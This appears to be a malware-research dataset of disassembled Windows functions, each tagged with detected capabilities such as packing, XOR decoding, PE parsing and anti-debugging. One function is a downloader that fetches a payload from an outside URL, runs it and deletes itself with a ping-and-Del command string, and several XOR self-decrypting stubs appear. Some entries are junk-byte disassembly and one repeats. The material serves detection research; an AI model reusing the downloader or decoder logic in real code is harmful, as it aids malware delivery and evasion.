joyce8/EMBER2024-capa huggingface dataset:
Function at 0x419760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
or ebp, 0xffffffff
jmp 0x419782
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419789
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419778
nop
push 1
nop
pop eax
add ebx, ebx
jne 0x41979b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419790
jne 0x4197ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419790
sub ecx, ecx
sub eax, 3
jb 0x4197c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419832
mov ebp, eax
add ebx, ebx
jne 0x4197cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4197d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4197fc
inc ecx
add ebx, ebx
jne 0x4197e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4197dd
jne 0x4197f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4197dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41981c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41980d
jmp 0x41977e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41981c
add edi, ecx
jmp 0x41977e
pop esi
push esi
pop edi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41983a
cmp byte [edi], 5
jne 0x41983a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41983f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x4198b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41986c
push edi
pop ecx
jns 0x41989b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x4198b1
mov dword [ebx], eax
add ebx, 4
jmp 0x419889
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4198eb
sub esp, 0xffffff80
jmp 0x404c20

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x100048e7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10004926
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10004926
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10004926
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10004926
cmp dword [ecx + 0x74], 0xe
jbe 0x10004926
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x100075a4
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10007641
push ebx
push esi
call fcn.1000756d
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10007501
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100075ee
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10007640
push edi
push eax
call fcn.1000855f
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000760e
call fcn.10006049
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000763f
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10007501
add esp, 0x20
test eax, eax
jne 0x1000762d
push edi
call fcn.10006049
jmp 0x10007635
push ebx
call fcn.10006049
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x100078ae
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000f500
push 0x1000f4f8
push str.FlsAlloc
push 0x1f
call fcn.100077ca
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100078e2
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000e11c]
call esi
jmp 0x100078e8
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000792c
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000f510
push 0x1000f508
push str.FlsGetValue
push 0x21
call fcn.100077ca
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10007963
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000e11c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1000796b
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000f518
push 0x1000f510
push str.FlsSetValue
push 0x22
call fcn.100077ca
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100079a5
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1000e11c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000d060
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000d08d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000d08d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401080
Capabilities:
Create http request
Create process on windows
Download url
Receive data
Reference http user-agent string
Self delete

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x680
mov eax, dword [0x404004]
xor eax, esp
mov dword [esp + 0x67c], eax
push 0
push 0
push 0
push 0
push str.Mozilla_5.0
call dword [sym.imp.WININET.dll_InternetOpenW]
lea ecx, [esp]
mov dword [0x404388], eax
mov dword [esp], 0x7d0
mov dword [esp + 4], 0
call fcn.004011e0
push 0
push 0
push str.C:UsersPublicDocumentsCR433101.dat.exe
push str.http:__ssl_6582datamanager.helpdeskbros.local_favicon.ico
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x401142
push eax
push 0x40000000
push eax
push eax
push str.http:__huskyhacks.dev
push dword [0x404388]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
lea ecx, [esp]
mov dword [esp], 0xc8
mov dword [esp + 4], 0
call fcn.004011e0
push 1
push 0x403138
push 0
push str.ping_1.1.1.1__n_1__w_3000___Nul__C:UsersPublicDocumentsCR433101.dat.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov ecx, dword [esp + 0x67c]
xor ecx, esp
call fcn.00401399
mov esp, ebp
pop ebp
ret
push 0x44
lea eax, [esp + 0x1c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x60]
xorps xmm0, xmm0
movaps xmmword [esp], xmm0
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea eax, [esp + 0x60]
push eax
push str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__Del__f__q___s_
lea eax, [esp + 0x270]
push 0x208
push eax
call fcn.00401010
add esp, 0x10
lea eax, [esp]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0x288]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [esp]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [esp + 0x67c]
mov eax, 1
xor ecx, esp
call fcn.00401399
mov esp, ebp
pop ebp
ret
Function at 0x40ce09
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422234]
jne 0x40ce13
repz ret
jmp fcn.00413639

Function at 0x413b7e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004104e0
and dword [ebp - 4], 0
cmp dword [0x423e1c], 0
mov ebx, eax
jne 0x413c2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413ce0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413ce0
push eax
call fcn.0041046e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423e1c], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423e20], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423e24], eax
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e2c], eax
test eax, eax
je 0x413c2f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e28], eax
mov eax, dword [0x423e28]
cmp eax, ebx
je 0x413c87
cmp dword [0x423e2c], ebx
je 0x413c87
push eax
call fcn.004104e9
push dword [0x423e2c]
mov esi, eax
call fcn.004104e9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413c87
test edi, edi
je 0x413c87
call esi
test eax, eax
je 0x413c7e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413c7e
test byte [ebp - 0xc], 1
jne 0x413c87
or dword [ebp + 0x10], 0x200000
jmp 0x413cc0
mov eax, dword [0x423e20]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413cc0
mov eax, dword [0x423e24]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e1c]
call fcn.004104e9
pop ecx
test eax, eax
je 0x413ce0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413ce2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x12c0980
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x12c09ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x12c09ad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x433004
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x75ed7d6a
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x4304d8
mov ecx, 0x2edf7341
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x44bad0
Capabilities:
Accept command line arguments
Query or enumerate registry value

Disassembly:
sub esp, 0x18
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov ebx, eax
lea eax, [esp + 0x14]
push eax
push 0x20019
push 0
mov esi, 0x190
push str.SoftwareMicrosoftWindowsCurrentVersionExplorer
push 0x80000001
mov edi, esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x44bba5
lea ecx, [esp + 0x20]
push ebp
mov eax, 4
push ecx
push ebx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.Browse_For_Folder_Width
push edx
call ebp
test eax, eax
jne 0x44bb52
mov edi, dword [esp + 0x1c]
xor esi, esi
test ebx, ebx
je 0x44bb67
mov eax, dword [0x760dfc]
push 0x760b18
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov eax, 4
lea ecx, [esp + 0x10]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
lea edx, [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x18]
push edx
push eax
push 0
push str.Browse_For_Folder_Height
push ecx
call ebp
test eax, eax
pop ebp
jne 0x44bb9a
or esi, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, edi
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x18
ret
Function at 0x475f63
Capabilities:
Encode data using xor

Disassembly:
in eax, 0x98
test esi, edx
cwde
rcl ch, cl
pushfd
jl 0x475f84
invalid
and byte [edi + esi*2], dh
xor al, 0x77
insd dword es:[edi], dx
idiv dword [esi - 0x4a]
pop ecx
test al, dl
pop es
jnp 0x475f6d
or eax, 0xd436e4e8
cmp byte [edx + 0x5d03eede], ah
jno 0x475f5a
mov al, 0x47
and al, 0x7f
mov eax, dword [0x7ca1b17b]
mov cl, 0xa1
jl 0x475f85
or dword [edi + edx*8], esi
mov eax, dword [0x3409fe7c]
xlatb
Function at 0x5c4d47
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
add byte [ecx], dh
ror byte [ebp + 0x4d890148], 0

Function at 0x5cdb97
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x84
iretd
retf 0x3da1
jle 0x5cdb57
sub al, 0x9f
xchg ecx, eax
loop 0x5cdb81
or ah, byte [edi - 0x6fdd47d5]
psllw mm7, qword [ebp - 0x50]
mov al, 0x39
wait
in al, dx
movsd dword es:[edi], dword [esi]
inc ecx
xor ebx, dword [0x6784fd93]
cmp dword [ebx + 0x3341a5ec], ebx
sbb eax, 0x6784fd93
sar cl, cl
loope 0x5cdb85
loopne 0x5cdbe2
xlatb
mov word [ecx + 0x5a], cs
cmp byte [ebp - 0x4207eb80], 0xa
shr dword [edi + ecx], 0x7b
jge 0x5cdb96
mov byte [0x3c0779c0], al
xor al, byte [ebx - 0x60e991d2]
scasb al, byte es:[edi]
xchg al, dl
add al, 0x73
dec esp
dec esp
adc al, 0x18
jno 0x5cdc4b
sub eax, 0xd308f45
dec ecx
pop ss
sar dword [ebp - 0x2298f6fc], 0xd0
mov byte [0xfc892a1f], al
mov dword [0xe4ad40cd], eax
and edx, dword [ecx + 0x58]
sbb cl, byte [ebp - 0x52]
imul esi, dword [ebx + 0x5f850727], 0xffffff9e
std
lodsb al, byte [esi]
mov al, 0xad
popal
iretd
pop ecx
cld
mov ecx, 0x104633a2
adc al, 0x39
outsb dx, byte [esi]
cmp al, 0x61
mov ebx, eax
pop esi
push esi
shr esi, cl
out dx, eax
pop ss
cmc
add esi, edx
int3
Function at 0x40b801
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x411a00
cmp edx, dword [eax]
je 0x40b823
add eax, 8
inc ecx
cmp eax, 0x411a90
jl 0x40b814
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x411a00]
jne 0x40b951
mov eax, dword [0x41911c]
cmp eax, 1
je 0x40b92b
test eax, eax
jne 0x40b854
cmp dword [0x411488], 1
je 0x40b92b
cmp edx, 0xfc
je 0x40b951
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40b88b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00408740
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00408910
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40b8ce
lea eax, [ebp - 0x1a4]
push eax
call fcn.00408910
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x41050c
push edi
call fcn.00408fa0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00408740
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00408750
lea eax, [ebp - 0xa0]
push 0x4104ec
push eax
call fcn.00408750
push dword [esi + 0x411a04]
lea eax, [ebp - 0xa0]
push eax
call fcn.00408750
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040e2c6
add esp, 0x2c
pop edi
jmp 0x40b951
lea eax, [ebp + 8]
lea esi, [esi + 0x411a04]
push 0
push eax
push dword [esi]
call fcn.00408910
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10083113
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x104403ba
jmp 0x104404cf
mov dword [esp], ebp
jmp 0x104404f5
sub esp, 4
mov dword [esp], ebx
mov ebx, esp
add ebx, 4
push edx
mov edx, 4
sub ebx, edx
pop edx
push ebx
push dword [esp + 4]
pop ebx
pop dword [esp]
pop esp
jmp 0x1044040d
jmp 0x10445d4a
jmp 0x10445da6
add ebx, 4
xchg dword [esp], ebx
pop esp
jmp 0x10445e7f
push ebp
mov dword [esp], eax
mov dword [esp], esp
add dword [esp], 4
jmp 0x10445e12
mov ebp, dword [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp 0x10445d4f
jmp 0x10446e2c
jmp fcn.10446f4e
Function at 0x4048c7
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x472754
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x4a2008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
xorps xmm0, xmm0
push 1
movups xmmword [esi], xmm0
push 0x48f868
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.00437db7
mov dword [ebp - 4], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov byte [ebp - 4], 1
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [ebp - 4], 2
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov byte [ebp - 4], 3
mov dword [esi + 0x3c], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], 0
mov byte [ebp - 4], 4
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0
mov dword [esi + 0x50], 0
mov byte [ebp - 4], 5
mov ecx, dword [0x4a2a48]
mov eax, dword [0x4a2a4c]
add ecx, 1
mov dword [esi + 0x58], 0
mov dword [esi + 0x5c], 0
adc eax, 0
mov dword [esi + 0x60], 0
mov dword [esi + 0x64], 0
mov dword [0x4a2a4c], eax
mov dword [esi + 0x6c], eax
mov dword [esi + 0x68], ecx
mov eax, dword [esi + 0x20]
sub eax, dword [esi + 0x18]
sar eax, 3
mov dword [0x4a2a48], ecx
cmp eax, 0x64
jae 0x4049ea
push ecx
lea ecx, [esi + 0x18]
call fcn.004240e7
mov eax, dword [esi + 0x2c]
sub eax, dword [esi + 0x24]
sar eax, 3
cmp eax, 0x14
jae 0x404a01
push ecx
lea ecx, [esi + 0x24]
call fcn.00423ff7
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x44a210
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
push esi
mov esi, dword [esp + 0xc]
push edi
xor ebp, ebp
push str.Kernel32
mov dword [esi], ebp
mov dword [esi + 4], ebp
mov dword [esi + 8], ebp
mov dword [esi + 0xc], ebp
mov dword [esi + 0x10], ebp
mov dword [esi + 0x14], ebp
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
cmp edi, ebp
je 0x44a2b0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CreateToolhelp32Snapshot
push edi
call ebx
push str.Thread32First
push edi
mov dword [esi + 4], eax
call ebx
push str.Thread32Next
push edi
mov dword [esi + 8], eax
call ebx
push str.Module32FirstW
push edi
mov dword [esi + 0xc], eax
call ebx
push str.Module32NextW
push edi
mov dword [esi + 0x10], eax
call ebx
mov ecx, dword [esi + 4]
mov dword [esi + 0x14], eax
cmp ecx, ebp
pop ebx
je 0x44a2a7
cmp dword [esi + 8], ebp
je 0x44a2a7
cmp dword [esi + 0xc], ebp
je 0x44a2a7
cmp dword [esi + 0x10], ebp
je 0x44a2a7
cmp eax, ebp
je 0x44a2a7
push edi
mov dword [esi], 1
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
pop edi
pop esi
pop ebp
ret
push edi
mov dword [esi], ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
pop edi
pop esi
pop ebp
ret
Function at 0x44dc67
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x472754
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x4a2008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
xorps xmm0, xmm0
push 1
movups xmmword [esi], xmm0
push 0x48f868
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.00481157
mov dword [ebp - 4], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov byte [ebp - 4], 1
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [ebp - 4], 2
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov byte [ebp - 4], 3
mov dword [esi + 0x3c], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], 0
mov byte [ebp - 4], 4
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0
mov dword [esi + 0x50], 0
mov byte [ebp - 4], 5
mov ecx, dword [0x4a2a48]
mov eax, dword [0x4a2a4c]
add ecx, 1
mov dword [esi + 0x58], 0
mov dword [esi + 0x5c], 0
adc eax, 0
mov dword [esi + 0x60], 0
mov dword [esi + 0x64], 0
mov dword [0x4a2a4c], eax
mov dword [esi + 0x6c], eax
mov dword [esi + 0x68], ecx
mov eax, dword [esi + 0x20]
sub eax, dword [esi + 0x18]
sar eax, 3
mov dword [0x4a2a48], ecx
cmp eax, 0x64
jae 0x44dd8a
push ecx
lea ecx, [esi + 0x18]
call fcn.0046d487
mov eax, dword [esi + 0x2c]
sub eax, dword [esi + 0x24]
sar eax, 3
cmp eax, 0x14
jae 0x44dda1
push ecx
lea ecx, [esi + 0x24]
call fcn.0046d397
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret